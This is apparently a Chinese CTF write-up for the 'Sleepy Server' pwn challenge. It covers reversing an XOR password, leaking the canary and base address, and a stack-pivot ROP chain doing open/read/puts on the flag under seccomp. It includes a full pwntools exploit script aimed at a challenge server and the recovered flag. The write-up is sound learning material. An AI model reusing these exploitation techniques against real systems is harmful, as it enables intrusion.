CNSS招新题目中有两道不错的Pwn题,拿来学习一波知识。然而其中有一道是内核ROP,复现了好几天。。还是有点问题,再加上研究生大作业集群来了(完全不能摸鱼,哭唧唧),所以那道内核题能做出来就放博客。
Sleepy Server 这道题checksec发现防御全开,同时给了libseccomp,看来是对libc的调用有一定限制。
可以看到禁用了execve,不能通过直接拿shell获得flag。开始分析整个程序,看看有什么利用点。
比较容易的就能看到buf
有一个溢出,但是溢出的数量有限只有0x10字节,随后看到我们输入的用户名和密码被传入一个函数判断,判断的结果正确才会进入漏洞点,我们继续跟进sub_E9D
函数。
在这里我们发现只对a2
有相关操作,也就是我们输入的密码。首先一个临时数组保存v3 ^ a2[i]
的数据,并且将这个数据更新到v3
上。也就是说每次异或操作都是和上一轮异或的结果和这轮的字符,同时临时保存的每轮异或数据要和v8
开始的一系列值相等。
从上面看一共有12个值,那么密码的长度肯定是12,这样我们有每轮异或最后的结果可以异或操作逆推回去。原始输入的结果就等于这轮异或结果与上一轮异或结果相异或,然后第一轮是这轮结果与0异或得到。解密代码如下:
1 2 3 4 5 6 7 8 data = [115 , 7 , 98 , 18 , 77 , 47 , 86 , 9 , 122 , 14 , 107 , 27 ] v3 = 0 passwd = '' for i in data: passwd += chr(i ^ v3) v3 = i print passwd
最后拿到的密码是step_by_step
,这样我们就能顺利进入漏洞触发点了。
我们继续看main
函数,同样很容易发现有两次printf
,由于程序是开启了canary
保护的,我们需要先泄露才行,而这里有两次输出,那么第一次输出就是为了泄露数据。最后8个字节为canary
,通常这个值的最低位为0,我们也是只需要把这个0覆盖掉,就能让printf
把后面的canary
和rbp
一起输出。有了rbp
的数据我们能通过调试知道这个rbp
和程序的起始地址的差值,从而得到程序的起始基地址,从而同时解决了地址随机化的问题。
现在目光集中在下一次输入的溢出上,这里只能溢出16字节,这意味着我们只能覆盖rbp
和ret_address
,溢出位数不够怎么解决?现在我的思路有两个
利用one_gadget
一次性获得shell(可能性较小,因为seccomp的原因)
移动栈帧,把栈帧移动到我们能写入的地方,以此来构造ROP chain
使用one_gadget
进行尝试,意料之中的失败。。ROP大师的题目果然是不能偷鸡成功的。
移动栈帧的leave ret
在程序中比较常用,还是很好找,同时我们有程序的基地址也就能找到我们写入的地址。
第一次的返回地址填入漏洞点的上方,也是为了在第一次读入数据之后再次获得读入数据的机会,然后第二次读入的时候rbp
填入我们的可控地址,返回地址填入leave ret
的gadget。这样在read之后会调用一次leave
,ret
之后又会有第二次leave
来让栈帧移动。随后就是无限重复第二次动作,来完成ROP。exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 from pwn import *exe = ELF('./' + 'rop' ) context.binary = './' + 'rop' libc = ELF('./libc-2.27.so' ) if args['DEBUG' ]: context.log_level = 'debug' if args['REMOTE' ]: io = remote('139.9.5.20' , '60607' ) else : io = process(exe.path, env={"LD_PRELOAD" :"./libseccomp.so.2" }) payload1 = 0xb8 * 'a' io.recvuntil('name: ' ) io.sendline('whz' ) io.recvuntil('Password: ' ) io.sendline('step_by_step' ) io.recvuntil('tell me what you say\n' ) pause() io.sendline(payload1) pause() io.recvuntil(0xb8 * 'a' + '\n' ) canary = u64('\x00' + io.recv(7 )) elf_base = u64(io.recv(6 ).ljust(8 , '\x00' )) - 0x1180 info('canary:' +hex(canary)) info('elf_base:' +hex(elf_base)) bss=elf_base+0x00202500 buf=bss+0x200 buf2=buf+0x200 file_place=buf2+0x200 buf3=file_place+0x200 file_name='./flag\x00\x00' pop_rdi_ret = 0x11e3 + elf_base pop_rbp_ret = 0x0b70 + elf_base read_ret = 0x1144 + elf_base leave_ret = 0x1176 + elf_base read_got = exe.got['read' ] + elf_base puts_plt = exe.plt['puts' ] + elf_base read_plt = exe.plt['read' ] + elf_base payload2 = 0xb8 * 'b' payload2 += p64(canary) payload2 += p64(buf) payload2 += p64(read_ret) io.recvuntil('I will go to sleep\n' ) io.send(payload2) payload3 = p64(pop_rdi_ret) payload3 += p64(read_got) payload3 += p64(puts_plt) payload3 += p64(pop_rbp_ret) payload3 += p64(file_place + 0xc0 ) payload3 += p64(read_ret) payload3 += 17 * p64(0 ) payload3 += p64(canary) payload3 += p64(buf - 0xc8 ) payload3 += p64(leave_ret) io.send(payload3) read_addr = u64(io.recv(6 ).ljust(8 , '\x00' )) libc_base = read_addr - libc.symbols['read' ] info("libc base:" + hex(libc_base)) pop_rsi_ret = 0x23e6a + libc_base pop_rdx_ret = 0x1b96 + libc_base open_addr = libc.symbols['open' ] + libc_base payload4 = file_name payload4 += p64(pop_rdi_ret) payload4 += p64(file_place) payload4 += p64(pop_rsi_ret) payload4 += p64(0 ) payload4 += p64(open_addr) payload4 += p64(pop_rdi_ret) payload4 += p64(3 ) payload4 += p64(pop_rsi_ret) payload4 += p64(buf3) payload4 += p64(pop_rdx_ret) payload4 += p64(0x30 ) payload4 += p64(read_plt) payload4 += p64(pop_rdi_ret) payload4 += p64(buf3) payload4 += p64(puts_plt) payload4 += (0xb8 - len(payload4))/8 * p64(0 ) payload4 += p64(canary) payload4 += p64(file_place) payload4 += p64(leave_ret) pause() io.send(payload4) pause() io.interactive()
一开始不知道如何确定ELF的基地址。。求助了@Tangent
得到exp,然后分析之后才知道是可以通过rbp
相对位移来确定。之后在复现的过程中也遇到过一些坑:
用leave ret
来移动栈帧的时候要注意移动之后要在目标地址多填充8字节,这是因为leave
要pop rbp
的原因;
这里用的libc是libc-2.27,我最先使用的libc-2.23,也是没有注意题目的提醒Ubuntu 18.04
;
还有就是我为了偷懒read
读入数据的地址一开始是file_name
的地方,结果发现老是读出来的是乱码,调试之后发现明明能成功读取到字符串,然后调puts
输出的时候莫名其妙的就不行???随后把读入的数据放在其他地方就好了。。。如果有大佬知道是怎么回事的,求告知;
最后拿到flag,cnss{r00oopp_1s_e45y_I_10v3_r0o00op}
。